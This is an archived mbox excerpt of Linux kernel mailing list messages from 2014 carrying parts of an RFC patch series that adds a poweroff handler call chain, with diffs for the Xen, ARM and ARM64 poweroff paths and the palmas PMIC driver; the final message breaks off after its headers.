	"H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Sep 30 20:02:35 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XZ1kw-0007wv-R6
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 30 Sep 2014 20:02:35 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753802AbaI3SBq (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Tue, 30 Sep 2014 14:01:46 -0400
Original-Received: from mail-pa0-f42.google.com ([209.85.220.42]:38849 "EHLO
	mail-pa0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752790AbaI3SBo (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Tue, 30 Sep 2014 14:01:44 -0400
Original-Received: by mail-pa0-f42.google.com with SMTP id et14so2234630pad.15
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=xhae8JG4IKgahHtVJsKokrChJAWx38LPDikheOagtpI=;
        b=yWC9GhHUClICcw4veDar3e7EnMQnZAVzycH3e+Jnsd6+pbnAfbyuyMQOlqlkLfNVhO
         AbafPdPKfwEHtr4ihZCNAmpRaTS/JmdTBa1LZYdp7uYYFjqU7h3bVGpVDjGwOk07Bqe4
         uV/b1nrvBVbP9UPUUTIW8rWf9MmxxoQnwa+rr3q98MnVseCh/jgwe7FzGPzvskL2D7Gt
         NxWdCcS+cRoOfWc+JSL0c8to8LMVlz9esAEx8DepnRukgobo0KGKOJwhbtX7yks9PTWq
         YUFckjVzsY1oqrUnq1sFsQkS7PtMHpuOHQbGpmDnQKA1x7KjKqOs4llrWov8y9v2VbSZ
         EsGA==
X-Received: by 10.70.102.238 with SMTP id fr14mr27253716pdb.105.1412100103305;
        Tue, 30 Sep 2014 11:01:43 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id js7sm15716799pbc.62.2014.09.30.11.01.42
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:42 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:275 gmane.linux.kernel:1798521 gmane.linux.power-management.general:50365 gmane.linux.ports.arm.kernel:361246 gmane.linux.ports.ia64:24434 gmane.linux.ports.mips.general:44063 gmane.linux.ports.parisc:6045 gmane.linux.ports.sh.devel:39639
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/275>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it if pm_power_off
is set to NULL.

Cc: Konrad Rzeszutek Wilk <konrad.wilk-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>
Cc: Boris Ostrovsky <boris.ostrovsky-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>
Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
Cc: Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: H. Peter Anvin <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 arch/x86/xen/enlighten.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c
index c0cb11f..645d00f 100644
--- a/arch/x86/xen/enlighten.c
+++ b/arch/x86/xen/enlighten.c
@@ -1322,6 +1322,8 @@ static void xen_machine_power_off(void)
 {
 	if (pm_power_off)
 		pm_power_off();
+	else
+		do_kernel_poweroff();
 	xen_reboot(SHUTDOWN_poweroff);
 }
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: [RFC PATCH 16/16] mfd: palmas: Register with kernel poweroff handler
Date: Tue, 30 Sep 2014 11:00:56 -0700
Lines: 117
Approved: news@gmane.org
Message-ID: <1412100056-15517-17-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100165 8168 80.91.229.3 (30 Sep 2014 18:02:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:02:45 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
	Samuel Ortiz <sameo@linux.intel.com>,
	Lee Jones <lee.jones@linaro.org>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-sh-owner@vger.kernel.org Tue Sep 30 20:02:37 2014
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1XZ1ky-0007wv-Dy
	for glps-linuxsh-dev@plane.gmane.org; Tue, 30 Sep 2014 20:02:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753887AbaI3SBy (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 30 Sep 2014 14:01:54 -0400
Original-Received: from mail-pd0-f172.google.com ([209.85.192.172]:59771 "EHLO
	mail-pd0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752993AbaI3SBt (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Tue, 30 Sep 2014 14:01:49 -0400
Original-Received: by mail-pd0-f172.google.com with SMTP id p10so3234868pdj.31
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=s7ufAtV/ZoQ2+ziCYficZ7QndekSVO3B0hrlF3X88LQ=;
        b=E7XBhfMWgo1ACzLXjlN4D9zrCMI88vNgFKUk1rLu9okB8VbTquFJQw9fonbmgWv4wj
         /9Jlg62RHfVIXgDINbemqnwuXm9l6cOE9UcBgeQMpnHUuuIFgN/KvauT5qFmTQatsvaY
         4Q9Cp4R0c/pfts2BW+QPVOmd8qaYESOLnYX3HS2MNCdmIJsYQ74q4gAgciRzDRM7B3Dn
         CUsP0rn0bSAuA4NjzC1BxQfet7ogkqF6sVa0X8GpG3uujRD0t3uavdxbKyDy6goi6HYm
         QyqTeFDTyM/F/4pSEgHuBoJhWqsHp8Hmx2IlVaGVyDISZqCexD/gsK9RIHYcksGkUEUC
         McMg==
X-Received: by 10.70.87.169 with SMTP id az9mr87830076pdb.63.1412100108312;
        Tue, 30 Sep 2014 11:01:48 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id z1sm15802891pdb.21.2014.09.30.11.01.47
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:47 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:39640 gmane.linux.kernel:1798522 gmane.linux.power-management.general:50366 gmane.linux.ports.arm.kernel:361247 gmane.linux.ports.ia64:24435 gmane.linux.kernel.metag:276 gmane.linux.ports.mips.general:44064 gmane.linux.ports.parisc:6046
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/39640>

Register with kernel poweroff handler instead of setting pm_power_off
directly.

Cc: Samuel Ortiz <sameo@linux.intel.com>
Cc: Lee Jones <lee.jones@linaro.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/mfd/palmas.c       | 30 +++++++++++++++++-------------
 include/linux/mfd/palmas.h |  3 +++
 2 files changed, 20 insertions(+), 13 deletions(-)

diff --git a/drivers/mfd/palmas.c b/drivers/mfd/palmas.c
index 28cb048..e8ef345a 100644
--- a/drivers/mfd/palmas.c
+++ b/drivers/mfd/palmas.c
@@ -19,6 +19,7 @@
 #include <linux/i2c.h>
 #include <linux/interrupt.h>
 #include <linux/irq.h>
+#include <linux/reboot.h>
 #include <linux/regmap.h>
 #include <linux/err.h>
 #include <linux/mfd/core.h>
@@ -425,20 +426,18 @@ static void palmas_dt_to_pdata(struct i2c_client *i2c,
 			"ti,system-power-controller");
 }
 
-static struct palmas *palmas_dev;
-static void palmas_power_off(void)
+static int palmas_power_off(struct notifier_block *this, unsigned long unused1,
+			    void *unused2)
 {
+	struct palmas *palmas = container_of(this, struct palmas, poweroff_nb);
 	unsigned int addr;
 	int ret, slave;
 
-	if (!palmas_dev)
-		return;
-
 	slave = PALMAS_BASE_TO_SLAVE(PALMAS_PMU_CONTROL_BASE);
 	addr = PALMAS_BASE_TO_REG(PALMAS_PMU_CONTROL_BASE, PALMAS_DEV_CTRL);
 
 	ret = regmap_update_bits(
-			palmas_dev->regmap[slave],
+			palmas->regmap[slave],
 			addr,
 			PALMAS_DEV_CTRL_DEV_ON,
 			0);
@@ -446,6 +445,8 @@ static void palmas_power_off(void)
 	if (ret)
 		pr_err("%s: Unable to write to DEV_CTRL_DEV_ON: %d\n",
 				__func__, ret);
+
+	return NOTIFY_DONE;
 }
 
 static unsigned int palmas_features = PALMAS_PMIC_FEATURE_SMPS10_BOOST;
@@ -668,9 +669,15 @@ no_irq:
 		ret = of_platform_populate(node, NULL, NULL, &i2c->dev);
 		if (ret < 0) {
 			goto err_irq;
-		} else if (pdata->pm_off && !pm_power_off) {
-			palmas_dev = palmas;
-			pm_power_off = palmas_power_off;
+		} else if (pdata->pm_off) {
+			palmas->poweroff_nb.notifier_call = palmas_power_off;
+			palmas->poweroff_nb.priority = 128;
+			ret = register_poweroff_handler(&palmas->poweroff_nb);
+			if (ret) {
+				dev_err(palmas->dev,
+					"cannot register poweroff handler");
+				ret = 0;
+			}
 		}
 	}
 
@@ -698,10 +705,7 @@ static int palmas_i2c_remove(struct i2c_client *i2c)
 			i2c_unregister_device(palmas->i2c_clients[i]);
 	}
 
-	if (palmas == palmas_dev) {
-		pm_power_off = NULL;
-		palmas_dev = NULL;
-	}
+	unregister_poweroff_handler(&palmas->poweroff_nb);
 
 	return 0;
 }
diff --git a/include/linux/mfd/palmas.h b/include/linux/mfd/palmas.h
index fb0390a..4715057 100644
--- a/include/linux/mfd/palmas.h
+++ b/include/linux/mfd/palmas.h
@@ -18,6 +18,7 @@
 
 #include <linux/usb/otg.h>
 #include <linux/leds.h>
+#include <linux/notifier.h>
 #include <linux/regmap.h>
 #include <linux/regulator/driver.h>
 #include <linux/extcon.h>
@@ -68,6 +69,8 @@ struct palmas {
 	struct i2c_client *i2c_clients[PALMAS_NUM_CLIENTS];
 	struct regmap *regmap[PALMAS_NUM_CLIENTS];
 
+	struct notifier_block poweroff_nb;
+
 	/* Stored chip id */
 	int id;
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 04/16] arm: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:44 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <1412100056-15517-5-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100170 8232 80.91.229.3 (30 Sep 2014 18:02:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:02:50 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
        linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
        Russell King <linux@arm.linux.org.uk>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Tue Sep 30 20:02:42 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XZ1kw-0007ww-3q
	for sgi-linux-mips@gmane.org; Tue, 30 Sep 2014 20:02:34 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:35058 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010184AbaI3SCc37KVH (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 30 Sep 2014 20:02:32 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 30 Sep 2014 20:02:18 +0200 (CEST)
Original-Received: from mail-pd0-f175.google.com ([209.85.192.175]:61837 "EHLO
        mail-pd0-f175.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27010186AbaI3SBYWnC6b (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 30 Sep 2014 20:01:24 +0200
Original-Received: by mail-pd0-f175.google.com with SMTP id v10so1199927pde.34
        for <linux-mips@linux-mips.org>; Tue, 30 Sep 2014 11:01:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=xODcnWye9e26D/cYKydhptCAo4/qMB6B5smOr7yy5Ag=;
        b=PnPEu7DoVXBPTDnYESzx4pzDFHEDjX64WSaGL2Z0wCT7T3FvKObwX4E2rn5HurUX2p
         Mf69hxe+wyNbtCJeRDwDrm85wR0WW0DKdGFe8Vi0NfDbymUy7OpqyPrvsCoNI41ZCd+7
         yV9Sl7sMBZM1shpzFNJbZBO78Mw4okfUQij3m2N/mByPdB8deGo5avMB+fWhm8UH6K/E
         vRzGXz/H4yekJJFYrpDwRQs6cPxUkl3CRsvJXFHmBpII5/WZQhHbet+UTvuk2w20Fcsk
         cvNlcEf3/GcAK9d/Zc2QXEQLvvCdjPSyohI88E9a1+W2tBMZ3VsakbTLoUB+knA2iisV
         am3Q==
X-Received: by 10.70.101.138 with SMTP id fg10mr38976119pdb.1.1412100078313;
        Tue, 30 Sep 2014 11:01:18 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id f2sm15796187pdo.29.2014.09.30.11.01.17
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:17 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
X-archive-position: 42909
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@roeck-us.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44065 gmane.linux.kernel:1798524 gmane.linux.power-management.general:50367 gmane.linux.ports.arm.kernel:361248 gmane.linux.ports.ia64:24436 gmane.linux.kernel.metag:277 gmane.linux.ports.parisc:6047 gmane.linux.ports.sh.devel:39641
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44065>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it if pm_power_off
is set to NULL.

Cc: Russell King <linux@arm.linux.org.uk>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/arm/kernel/process.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/arm/kernel/process.c b/arch/arm/kernel/process.c
index 250b6f6..848c578 100644
--- a/arch/arm/kernel/process.c
+++ b/arch/arm/kernel/process.c
@@ -207,6 +207,8 @@ void machine_power_off(void)
 
 	if (pm_power_off)
 		pm_power_off();
+	else
+		do_kernel_poweroff();
 }
 
 /*
-- 
1.9.1




From - Thu Nov 08 21:10:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 05/16] arm64: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:45 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <1412100056-15517-6-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100186 8436 80.91.229.3 (30 Sep 2014 18:03:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:03:06 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
        linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Tue Sep 30 20:02:54 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XZ1lE-00085t-Lj
	for sgi-linux-mips@gmane.org; Tue, 30 Sep 2014 20:02:52 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:35174 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010186AbaI3SCumHwEp (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 30 Sep 2014 20:02:50 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 30 Sep 2014 20:02:34 +0200 (CEST)
Original-Received: from mail-pa0-f51.google.com ([209.85.220.51]:36170 "EHLO
        mail-pa0-f51.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27010189AbaI3SB0lrgwN (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 30 Sep 2014 20:01:26 +0200
Original-Received: by mail-pa0-f51.google.com with SMTP id lj1so5322320pab.10
        for <linux-mips@linux-mips.org>; Tue, 30 Sep 2014 11:01:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=TzcCHtPdGztIVjoHbZsaQvqPX/Y0aBGG2kKGL2CTln8=;
        b=NiOI/zSrZYv37kCzWtq/pdRCNoe5VOPwE7K4NALys8mSlNNzj38H4UhtTsaBl0f/2H
         4u4oUyAnO7YZ1AIpNxwdmhwLYblmPJpP8DCnhGUQdXBIYxhrvw7qVX7RslKIIzW9c7hK
         eSoyrnoZFY1+5VDsNmMjTqK0O2zo7Dgn8Azl4kakEuTgvEytmD7GSKCmtSzH5J4CbcL4
         MwX6grHVRmuY++NQ8Qg2J53oJls5I/BkE3d4xxZrNHo6DvUjv9TW7JovCH1fbAVGoFwm
         ViJ+kTz3MPBoVFfPTpFlh2KvPrVOl4GwSF2e7z2ktiRKVYnkp13rBJOmhdgYaoU5vJqA
         beaA==
X-Received: by 10.68.164.35 with SMTP id yn3mr72338597pbb.104.1412100080773;
        Tue, 30 Sep 2014 11:01:20 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id z1sm15802127pdb.21.2014.09.30.11.01.20
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:20 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
X-archive-position: 42910
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@roeck-us.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44066 gmane.linux.kernel:1798525 gmane.linux.power-management.general:50368 gmane.linux.ports.arm.kernel:361249 gmane.linux.ports.ia64:24437 gmane.linux.kernel.metag:278 gmane.linux.ports.parisc:6048 gmane.linux.ports.sh.devel:39642
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44066>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it if pm_power_off
is set to NULL.

Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/arm64/kernel/process.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index 398ab05..cc0c63e 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -157,6 +157,8 @@ void machine_power_off(void)
 	smp_send_stop();
 	if (pm_power_off)
 		pm_power_off();
+	else
+		do_kernel_poweroff();
 }
 
 /*
-- 
1.9.1




From - Thu Nov 08 21:10:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 15/16] power/reset: restart-poweroff: Register with kernel poweroff handler
Date: Tue, 30 Sep 2014 11:00:55 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <1412100056-15517-16-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100186 8437 80.91.229.3 (30 Sep 2014 18:03:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:03:06 +0000 (UTC)
Cc: linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org, Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Sebastian Reichel <sre-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
	Dmitry Eremin-Solenikov <dbaryshkov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	David Woodhouse <dwmw2-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Sep 30 20:02:58 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XZ1lI-000875-Kz
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 30 Sep 2014 20:02:56 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752029AbaI3SCi (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Tue, 30 Sep 2014 14:02:38 -0400
Original-Received: from mail-pd0-f171.google.com ([209.85.192.171]:45904 "EHLO
	mail-pd0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753803AbaI3SBq (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Tue, 30 Sep 2014 14:01:46 -0400
Original-Received: by mail-pd0-f171.google.com with SMTP id ft15so3939622pdb.30
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:45 -0700 (PDT)
